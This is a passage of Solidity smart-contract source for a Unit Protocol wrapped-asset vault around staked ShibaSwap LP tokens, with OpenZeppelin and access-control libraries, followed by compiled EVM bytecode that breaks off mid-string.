withdrawToken(address _token, address _user, uint _amount, address _feeReceiver, uint8 _feePercent) public onlyManager { if (_token == address(boneToken)) { _sendBonesToUser(_user, _amount, _feeReceiver, _feePercent); } else { TransferHelper.safeTransfer(_token, _user, _amount); } } function readBoneLocker(address _boneLocker, bytes calldata _callData) public view returns (bool success, bytes memory data) { (success, data) = _boneLocker.staticcall(_callData); } function callBoneLocker(address _boneLocker, bytes calldata _callData) public onlyManager returns (bool success, bytes memory data) { (success, data) = _boneLocker.call(_callData); } function getDepositedAmount() public view returns (uint amount) { (amount, ) = topDog.userInfo(topDogPoolId, address (this)); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: GPL-3.0-or-later /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; import "./VaultParameters.sol"; /** * @title Auth2 * @dev Manages USDP's system access * @dev copy of Auth from VaultParameters.sol but with immutable vaultParameters for saving gas **/ contract Auth2 { // address of the the contract with vault parameters VaultParameters public immutable vaultParameters; constructor(address _parameters) { require(_parameters != address(0), "Unit Protocol: ZERO_ADDRESS"); vaultParameters = VaultParameters(_parameters); } // ensures tx's sender is a manager modifier onlyManager() { require(vaultParameters.isManager(msg.sender), "Unit Protocol: AUTH_FAILED"); _; } // ensures tx's sender is able to modify the Vault modifier hasVaultAccess() { require(vaultParameters.canModifyVault(msg.sender), "Unit Protocol: AUTH_FAILED"); _; } // ensures tx's sender is the Vault modifier onlyVault() { require(msg.sender == vaultParameters.vault(), "Unit Protocol: AUTH_FAILED"); _; } } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity ^0.7.6; interface IVault { function DENOMINATOR_1E2 ( ) external view returns ( uint256 ); function DENOMINATOR_1E5 ( ) external view returns ( uint256 ); function borrow ( address asset, address user, uint256 amount ) external returns ( uint256 ); function calculateFee ( address asset, address user, uint256 amount ) external view returns ( uint256 ); function changeOracleType ( address asset, address user, uint256 newOracleType ) external; function chargeFee ( address asset, address user, uint256 amount ) external; function col ( ) external view returns ( address ); function colToken ( address, address ) external view returns ( uint256 ); function collaterals ( address, address ) external view returns ( uint256 ); function debts ( address, address ) external view returns ( uint256 ); function depositCol ( address asset, address user, uint256 amount ) external; function depositEth ( address user ) external payable; function depositMain ( address asset, address user, uint256 amount ) external; function destroy ( address asset, address user ) external; function getTotalDebt ( address asset, address user ) external view returns ( uint256 ); function lastUpdate ( address, address ) external view returns ( uint256 ); function liquidate ( address asset, address positionOwner, uint256 mainAssetToLiquidator, uint256 colToLiquidator, uint256 mainAssetToPositionOwner, uint256 colToPositionOwner, uint256 repayment, uint256 penalty, address liquidator ) external; function liquidationBlock ( address, address ) external view returns ( uint256 ); function liquidationFee ( address, address ) external view returns ( uint256 ); function liquidationPrice ( address, address ) external view returns ( uint256 ); function oracleType ( address, address ) external view returns ( uint256 ); function repay ( address asset, address user, uint256 amount ) external returns ( uint256 ); function spawn ( address asset, address user, uint256 _oracleType ) external; function stabilityFee ( address, address ) external view returns ( uint256 ); function tokenDebts ( address ) external view returns ( uint256 ); function triggerLiquidation ( address asset, address positionOwner, uint256 initialPrice ) external; function update ( address asset, address user ) external; function usdp ( ) external view returns ( address ); function vaultParameters ( ) external view returns ( address ); function weth ( ) external view returns ( address payable ); function withdrawCol ( address asset, address user, uint256 amount ) external; function withdrawEth ( address user, uint256 amount ) external; function withdrawMain ( address asset, address user, uint256 amount ) external; } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity ^0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IERC20WithOptional is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IWrappedAsset is IERC20 /* IERC20WithOptional */ { event Deposit(address indexed user, uint256 amount); event Withdraw(address indexed user, uint256 amount); event PositionMoved(address indexed userFrom, address indexed userTo, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 amount); event TokenWithdraw(address indexed user, address token, uint256 amount); event FeeChanged(uint256 newFeePercent); event FeeReceiverChanged(address newFeeReceiver); event AllowedBoneLockerSelectorAdded(address boneLocker, bytes4 selector); event AllowedBoneLockerSelectorRemoved(address boneLocker, bytes4 selector); /** * @notice Get underlying token */ function getUnderlyingToken() external view returns (IERC20); /** * @notice deposit underlying token and send wrapped token to user * @dev Important! Only user or trusted contracts must be able to call this method */ function deposit(address _userAddr, uint256 _amount) external; /** * @notice get wrapped token and return underlying * @dev Important! Only user or trusted contracts must be able to call this method */ function withdraw(address _userAddr, uint256 _amount) external; /** * @notice get pending reward amount for user if reward is supported */ function pendingReward(address _userAddr) external view returns (uint256); /** * @notice claim pending reward for user if reward is supported */ function claimReward(address _userAddr) external; /** * @notice Manually move position (or its part) to another user (for example in case of liquidation) * @dev Important! Only trusted contracts must be able to call this method */ function movePosition(address _userAddrFrom, address _userAddrTo, uint256 _amount) external; /** * @dev function for checks that asset is unitprotocol wrapped asset. * @dev For wrapped assets must return keccak256("UnitProtocolWrappedAsset") */ function isUnitProtocolWrappedAsset() external view returns (bytes32); } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./IBoneLocker.sol"; import "./IBoneToken.sol"; /** * See https://etherscan.io/address/0x94235659cf8b805b2c658f9ea2d6d6ddbb17c8d7#code */ interface ITopDog { function bone() external view returns (IBoneToken); function boneLocker() external view returns (IBoneLocker); function poolInfo(uint256) external view returns (IERC20, uint256, uint256, uint256); function poolLength() external view returns (uint256); function userInfo(uint256, address) external view returns (uint256, uint256); function rewardMintPercent() external view returns (uint256); function pendingBone(uint256 _pid, address _user) external view returns (uint256); function deposit(uint256 _pid, uint256 _amount) external; function withdraw(uint256 _pid, uint256 _amount) external; function emergencyWithdraw(uint256 _pid) external; } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface ISushiSwapLpToken is IERC20 /* IERC20WithOptional */ { function token0() external view returns (address); function token1() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; /** * @dev BoneToken locker contract interface */ interface IBoneLocker { function lockInfoByUser(address, uint256) external view returns (uint256, uint256, bool); function lockingPeriod() external view returns (uint256); // function to claim all the tokens locked for a user, after the locking period function claimAllForUser(uint256 r, address user) external; // function to claim all the tokens locked by user, after the locking period function claimAll(uint256 r) external; // function to get claimable amount for any user function getClaimableAmount(address _user) external view returns(uint256); // get the left and right headers for a user, left header is the index counter till which we have already iterated, right header is basically the length of user's lockInfo array function getLeftRightCounters(address _user) external view returns(uint256, uint256); function lock(address _holder, uint256 _amount, bool _isDev) external; function setLockingPeriod(uint256 _newLockingPeriod, uint256 _newDevLockingPeriod) external; function emergencyWithdrawOwner(address _to) external; } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IBoneToken is IERC20 { function mint(address _to, uint256 _amount) external; } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; /** * @title Auth * @dev Manages USDP's system access **/ contract Auth { // address of the the contract with vault parameters VaultParameters public vaultParameters; constructor(address _parameters) { vaultParameters = VaultParameters(_parameters); } // ensures tx's sender is a manager modifier onlyManager() { require(vaultParameters.isManager(msg.sender), "Unit Protocol: AUTH_FAILED"); _; } // ensures tx's sender is able to modify the Vault modifier hasVaultAccess() { require(vaultParameters.canModifyVault(msg.sender), "Unit Protocol: AUTH_FAILED"); _; } // ensures tx's sender is the Vault modifier onlyVault() { require(msg.sender == vaultParameters.vault(), "Unit Protocol: AUTH_FAILED"); _; } } /** * @title VaultParameters **/ contract VaultParameters is Auth { // map token to stability fee percentage; 3 decimals mapping(address => uint) public stabilityFee; // map token to liquidation fee percentage, 0 decimals mapping(address => uint) public liquidationFee; // map token to USDP mint limit mapping(address => uint) public tokenDebtLimit; // permissions to modify the Vault mapping(address => bool) public canModifyVault; // managers mapping(address => bool) public isManager; // enabled oracle types mapping(uint => mapping (address => bool)) public isOracleTypeEnabled; // address of the Vault address payable public vault; // The foundation address address public foundation; /** * The address for an Ethereum contract is deterministically computed from the address of its creator (sender) * and how many transactions the creator has sent (nonce). The sender and nonce are RLP encoded and then * hashed with Keccak-256. * Therefore, the Vault address can be pre-computed and passed as an argument before deployment. **/ constructor(address payable _vault, address _foundation) Auth(address(this)) { require(_vault != address(0), "Unit Protocol: ZERO_ADDRESS"); require(_foundation != address(0), "Unit Protocol: ZERO_ADDRESS"); isManager[msg.sender] = true; vault = _vault; foundation = _foundation; } /** * @notice Only manager is able to call this function * @dev Grants and revokes manager's status of any address * @param who The target address * @param permit The permission flag **/ function setManager(address who, bool permit) external onlyManager { isManager[who] = permit; } /** * @notice Only manager is able to call this function * @dev Sets the foundation address * @param newFoundation The new foundation address **/ function setFoundation(address newFoundation) external onlyManager { require(newFoundation != address(0), "Unit Protocol: ZERO_ADDRESS"); foundation = newFoundation; } /** * @notice Only manager is able to call this function * @dev Sets ability to use token as the main collateral * @param asset The address of the main collateral token * @param stabilityFeeValue The percentage of the year stability fee (3 decimals) * @param liquidationFeeValue The liquidation fee percentage (0 decimals) * @param usdpLimit The USDP token issue limit * @param oracles The enables oracle types **/ function setCollateral( address asset, uint stabilityFeeValue, uint liquidationFeeValue, uint usdpLimit, uint[] calldata oracles ) external onlyManager { setStabilityFee(asset, stabilityFeeValue); setLiquidationFee(asset, liquidationFeeValue); setTokenDebtLimit(asset, usdpLimit); for (uint i=0; i < oracles.length; i++) { setOracleType(oracles[i], asset, true); } } /** * @notice Only manager is able to call this function * @dev Sets a permission for an address to modify the Vault * @param who The target address * @param permit The permission flag **/ function setVaultAccess(address who, bool permit) external onlyManager { canModifyVault[who] = permit; } /** * @notice Only manager is able to call this function * @dev Sets the percentage of the year stability fee for a particular collateral * @param asset The address of the main collateral token * @param newValue The stability fee percentage (3 decimals) **/ function setStabilityFee(address asset, uint newValue) public onlyManager { stabilityFee[asset] = newValue; } /** * @notice Only manager is able to call this function * @dev Sets the percentage of the liquidation fee for a particular collateral * @param asset The address of the main collateral token * @param newValue The liquidation fee percentage (0 decimals) **/ function setLiquidationFee(address asset, uint newValue) public onlyManager { require(newValue <= 100, "Unit Protocol: VALUE_OUT_OF_RANGE"); liquidationFee[asset] = newValue; } /** * @notice Only manager is able to call this function * @dev Enables/disables oracle types * @param _type The type of the oracle * @param asset The address of the main collateral token * @param enabled The control flag **/ function setOracleType(uint _type, address asset, bool enabled) public onlyManager { isOracleTypeEnabled[_type][asset] = enabled; } /** * @notice Only manager is able to call this function * @dev Sets USDP limit for a specific collateral * @param asset The address of the main collateral token * @param limit The limit number **/ function setTokenDebtLimit(address asset, uint limit) public onlyManager { tokenDebtLimit[asset] = limit; } }
0x608060405234801561001057600080fd5b50600436106102275760003560e01c8063a457c2d711610130578063db2e21bc116100b8578063f3fef3a31161007c578063f3fef3a31461075c578063f40f0f5214610788578063f5275b5c146107ae578063fb1e738014610835578063fbfa77cf1461083d57610227565b8063db2e21bc146106cc578063dd62ed3e146106d4578063ee719bc814610702578063efdcd9741461070a578063f0d62df11461073057610227565b8063b7753a56116100ff578063b7753a5614610577578063c1a37ccb1461057f578063ca04cc7914610587578063cb122a0914610686578063d279c191146106a657610227565b8063a457c2d71461050f578063a9059cbb1461053b578063aca345ee14610567578063b3f006741461056f57610227565b80634d331204116101b35780637fd6f15c116101825780637fd6f15c1461048d5780638d4f0b6c1461049557806395d89b411461049d57806398c07433146104a55780639e281a98146104e357610227565b80634d3312041461042157806362c5ab45146104575780636baef2121461045f57806370a082311461046757610227565b8063262ac4bf116101fa578063262ac4bf14610339578063313ce5671461037b57806339509351146103995780633b8de0bb146103c557806347e7ef24146103f357610227565b806306fdde031461022c578063095ea7b3146102a957806318160ddd146102e957806323b872dd14610303575b600080fd5b610234610845565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561026e578181015183820152602001610256565b50505050905090810190601f16801561029b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102d5600480360360408110156102bf57600080fd5b506001600160a01b0381351690602001356108db565b604080519115158252519081900360200190f35b6102f16108f9565b60408051918252519081900360200190f35b6102d56004803603606081101561031957600080fd5b506001600160a01b038135811691602081013590911690604001356108ff565b61035f6004803603602081101561034f57600080fd5b50356001600160a01b0316610986565b604080516001600160a01b039092168252519081900360200190f35b6103836109a1565b6040805160ff9092168252519081900360200190f35b6102d5600480360360408110156103af57600080fd5b506001600160a01b0381351690602001356109aa565b6102f1600480360360408110156103db57600080fd5b506001600160a01b03813581169160200135166109f8565b61041f6004803603604081101561040957600080fd5b506001600160a01b038135169060200135610abd565b005b61041f6004803603606081101561043757600080fd5b506001600160a01b03813581169160208101359091169060400135610cfb565b6102f16110c9565b61035f6110ed565b6102f16004803603602081101561047d57600080fd5b50356001600160a01b0316611111565b610383611130565b61035f611140565b610234611164565b61041f600480360360608110156104bb57600080fd5b506001600160a01b03813516906001600160e01b0319602082013516906040013515156111c5565b61041f600480360360408110156104f957600080fd5b506001600160a01b03813516906020013561137d565b6102d56004803603604081101561052557600080fd5b506001600160a01b0381351690602001356114b0565b6102d56004803603604081101561055157600080fd5b506001600160a01b038135169060200135611518565b61035f61152c565b61035f611550565b61035f61155f565b6102f1611583565b6106056004803603604081101561059d57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156105c757600080fd5b8201836020820111156105d957600080fd5b803590602001918460018302840111600160201b831117156105fa57600080fd5b5090925090506115a7565b60405180831515815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561064a578181015183820152602001610632565b50505050905090810190601f1680156106775780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b61041f6004803603602081101561069c57600080fd5b503560ff166117f9565b61041f600480360360208110156106bc57600080fd5b50356001600160a01b0316611961565b61041f611a88565b6102f1600480360360408110156106ea57600080fd5b506001600160a01b0381358116916020013516611bf5565b61035f611c20565b61041f6004803603602081101561072057600080fd5b50356001600160a01b0316611cd9565b61041f6004803603604081101561074657600080fd5b506001600160a01b038135169060200135611dfe565b61041f6004803603604081101561077257600080fd5b506001600160a01b038135169060200135611eec565b6102f16004803603602081101561079e57600080fd5b50356001600160a01b031661213f565b610605600480360360608110156107c457600080fd5b6001600160a01b038235811692602081013590911691810190606081016040820135600160201b8111156107f757600080fd5b82018360208201111561080957600080fd5b803590602001918460018302840111600160201b8311171561082a57600080fd5b5090925090506121fb565b61041f61238e565b61035f612441565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108d15780601f106108a6576101008083540402835291602001916108d1565b820191906000526020600020905b8154815290600101906020018083116108b457829003601f168201915b5050505050905090565b60006108ef6108e8612465565b8484612469565b5060015b92915050565b60025490565b600061090c848484612555565b61097c84610918612465565b61097785604051806060016040528060288152602001612fc5602891396001600160a01b038a16600090815260016020526040812090610956612465565b6001600160a01b0316815260208101919091526040016000205491906126db565b612469565b5060019392505050565b6007602052600090815260409020546001600160a01b031681565b60055460ff1690565b60006108ef6109b7612465565b8461097785600160006109c8612465565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490612772565b6001600160a01b0380831660009081526007602052604081205490911680610a245760009150506108f3565b6009546040805163ad3b997560e01b81526001600160a01b0386811660048301528084166024830152600160a01b90930460ff16604482015290519183169163ad3b997591606480820192602092909190829003018186803b158015610a8957600080fd5b505afa158015610a9d573d6000803e3d6000fd5b505050506040513d6020811015610ab357600080fd5b5051949350505050565b60026006541415610b03576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b600260065580610b445760405162461bcd60e51b815260040180806020018281038252602c815260200180613016602c913960400191505060405180910390fd5b336001600160a01b0383161480610be857506040805162db063b60e41b815233600482015290516001600160a01b037f000000000000000000000000b46f8cf42e504efe8bef895f848741daa55e9f1d1691630db063b0916024808301926020929190829003018186803b158015610bbb57600080fd5b505afa158015610bcf573d6000803e3d6000fd5b505050506040513d6020811015610be557600080fd5b50515b610c235760405162461bcd60e51b8152600401808060200182810382526029815260200180612fed6029913960400191505060405180910390fd5b6000610c2d611c20565b90506000610c3b84836127d3565b9050610c49828583866128b8565b806001600160a01b031663b6b55f25846040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610c8f57600080fd5b505af1158015610ca3573d6000803e3d6000fd5b50505050610cb18484612a14565b6040805184815290516001600160a01b038616917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a2505060016006555050565b60026006541415610d41576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b60026006556040805162db063b60e41b815233600482015290516001600160a01b037f000000000000000000000000b46f8cf42e504efe8bef895f848741daa55e9f1d1691630db063b0916024808301926020929190829003018186803b158015610dab57600080fd5b505afa158015610dbf573d6000803e3d6000fd5b505050506040513d6020811015610dd557600080fd5b5051610e16576040805162461bcd60e51b815260206004820152601a60248201526000805160206130ac833981519152604482015290519081900360640190fd5b7f000000000000000000000000b1cff81b9305166ff1efc49a129ad2afcd7bcf196001600160a01b0316836001600160a01b031614158015610e8a57507f000000000000000000000000b1cff81b9305166ff1efc49a129ad2afcd7bcf196001600160a01b0316826001600160a01b031614155b610ec55760405162461bcd60e51b8152600401808060200182810382526033815260200180612f1b6033913960400191505060405180910390fd5b816001600160a01b0316836001600160a01b03161480610ee3575080155b15610eed576110bf565b6000610ef7611c20565b90506000610f0485612b04565b90506000610f1285846127d3565b9050816001600160a01b03166369328dec8486846040518463ffffffff1660e01b815260040180846001600160a01b03168152602001838152602001826001600160a01b031681526020019350505050600060405180830381600087803b158015610f7c57600080fd5b505af1158015610f90573d6000803e3d6000fd5b50505050806001600160a01b031663b6b55f25856040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610fda57600080fd5b505af1158015610fee573d6000803e3d6000fd5b50506040805187815290516001600160a01b038a1693507f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a942436492509081900360200190a26040805185815290516001600160a01b038716917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a2846001600160a01b0316866001600160a01b03167fb282ff7423bca0f2318e0b1455c0e0f7e9cdcd221806290929dc90e2a5989c47866040518082815260200191505060405180910390a35050505b5050600160065550565b7fa6caa52b2c1b13747d175856f83c9221321ba4c5ae61f5477a06383d618efb1c81565b7f00000000000000000000000094235659cf8b805b2c658f9ea2d6d6ddbb17c8d781565b6001600160a01b0381166000908152602081905260409020545b919050565b600954600160a01b900460ff1681565b7f0000000000000000000000005c823172fed7d4b73288d395d3374fb9d9a8712a81565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108d15780601f106108a6576101008083540402835291602001916108d1565b6040805163f3ae241560e01b815233600482015290516001600160a01b037f000000000000000000000000b46f8cf42e504efe8bef895f848741daa55e9f1d169163f3ae2415916024808301926020929190829003018186803b15801561122b57600080fd5b505afa15801561123f573d6000803e3d6000fd5b505050506040513d602081101561125557600080fd5b5051611296576040805162461bcd60e51b815260206004820152601a60248201526000805160206130ac833981519152604482015290519081900360640190fd5b6001600160a01b03831660009081526008602090815260408083206001600160e01b0319861684529091529020805460ff1916821580159190911790915561132a57604080516001600160a01b03851681526001600160e01b03198416602082015281517f87f45b652d0ecbbdf176500e6a314eceb14ef4bac6866cf3158f895c5a3ac762929181900390910190a1611378565b604080516001600160a01b03851681526001600160e01b03198416602082015281517f01a0fd27aa255ce2542d60aeeaa1696a6d93c9070f3c1acfe0083b10e1af4df4929181900390910190a15b505050565b600260065414156113c3576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b600260065560006113d333612b04565b6009546040805162b32d2b60e21b81526001600160a01b038781166004830152336024830152604482018790528084166064830152600160a01b90930460ff1660848201529051929350908316916302ccb4ac9160a48082019260009290919082900301818387803b15801561144857600080fd5b505af115801561145c573d6000803e3d6000fd5b5050604080516001600160a01b03871681526020810186905281513394507f7b2929a0129e91c002be982e70bea0ff69b1dda1722507dc5b60490b134a985b93509081900390910190a25050600160065550565b60006108ef6114bd612465565b84610977856040518060600160405280602581526020016130f060259139600160006114e7612465565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906126db565b60006108ef611525612465565b8484612555565b7f000000000000000000000000b46f8cf42e504efe8bef895f848741daa55e9f1d81565b6009546001600160a01b031681565b7f0000000000000000000000009813037ee2218799597d83d4a5b6f3b6778218d981565b7f000000000000000000000000000000000000000000000000000000000000000181565b60006060600260065414156115f1576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b60026006556001600160a01b038516600090815260086020908152604080832087356001600160e01b03198116855292529091205460ff166116645760405162461bcd60e51b8152600401808060200182810382526032815260200180612ee96032913960400191505060405180910390fd5b600061166f33612b04565b9050806001600160a01b031663ca04cc798888886040518463ffffffff1660e01b815260040180846001600160a01